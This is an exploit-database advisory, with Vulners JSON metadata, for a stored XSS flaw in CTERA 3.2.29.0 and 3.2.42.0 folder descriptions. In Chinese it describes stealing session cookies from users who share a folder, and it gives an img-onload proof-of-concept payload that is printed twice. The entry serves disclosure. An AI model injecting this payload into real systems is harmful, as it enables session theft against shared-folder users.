Search...

CTERA 3.2.29.0 and 3.2.42.0 - Stored XSS

2014-07-01T00:00:00

ID SSV:84843
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                恶意用户可以修改项目文件夹描述进行XSS攻击和HTML注入（添加链接、图片和按钮等）。 因为项目文件夹时被不同用户共享，该漏洞可以用来抓取会话cookie。

创建一个项目文件夹并添加下面的描述（根据版本修改特定路径）：
&lt;/xml&gt;&lt;img src="https://192.168.3.2/admingui/common.3.2.29.291012114828/script/ext/resources/images/default/grid/loading.gif" onload="alert(document.cookie);"&gt;
&lt;xml&gt;

JSON Vulners Source

Initial Source

{"lastseen": "2017-11-19T15:04:57", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "cve,poc", "enchantments": {"score": {"value": 0.4, "vector": "NONE", "modified": "2017-11-19T15:04:57", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T15:04:57", "rev": 2}, "vulnersScore": 0.4}, "href": "https://www.seebug.org/vuldb/ssvid-84843", "references": [], "enchantments_done": [], "id": "SSV:84843", "title": "CTERA 3.2.29.0 and 3.2.42.0 - Stored XSS", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 2, "sourceData": "\n \u6076\u610f\u7528\u6237\u53ef\u4ee5\u4fee\u6539\u9879\u76ee\u6587\u4ef6\u5939\u63cf\u8ff0\u8fdb\u884cXSS\u653b\u51fb\u548cHTML\u6ce8\u5165\uff08\u6dfb\u52a0\u94fe\u63a5\u3001\u56fe\u7247\u548c\u6309\u94ae\u7b49\uff09\u3002 \u56e0\u4e3a\u9879\u76ee\u6587\u4ef6\u5939\u65f6\u88ab\u4e0d\u540c\u7528\u6237\u5171\u4eab\uff0c\u8be5\u6f0f\u6d1e\u53ef\u4ee5\u7528\u6765\u6293\u53d6\u4f1a\u8bddcookie\u3002\r\n\r\n\u521b\u5efa\u4e00\u4e2a\u9879\u76ee\u6587\u4ef6\u5939\u5e76\u6dfb\u52a0\u4e0b\u9762\u7684\u63cf\u8ff0\uff08\u6839\u636e\u7248\u672c\u4fee\u6539\u7279\u5b9a\u8def\u5f84\uff09\uff1a\r\n</xml><img src=\"https://192.168.3.2/admingui/common.3.2.29.291012114828/script/ext/resources/images/default/grid/loading.gif\" onload=\"alert(document.cookie);\">\r\n<xml>\r\n \n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-84843", "type": "seebug"}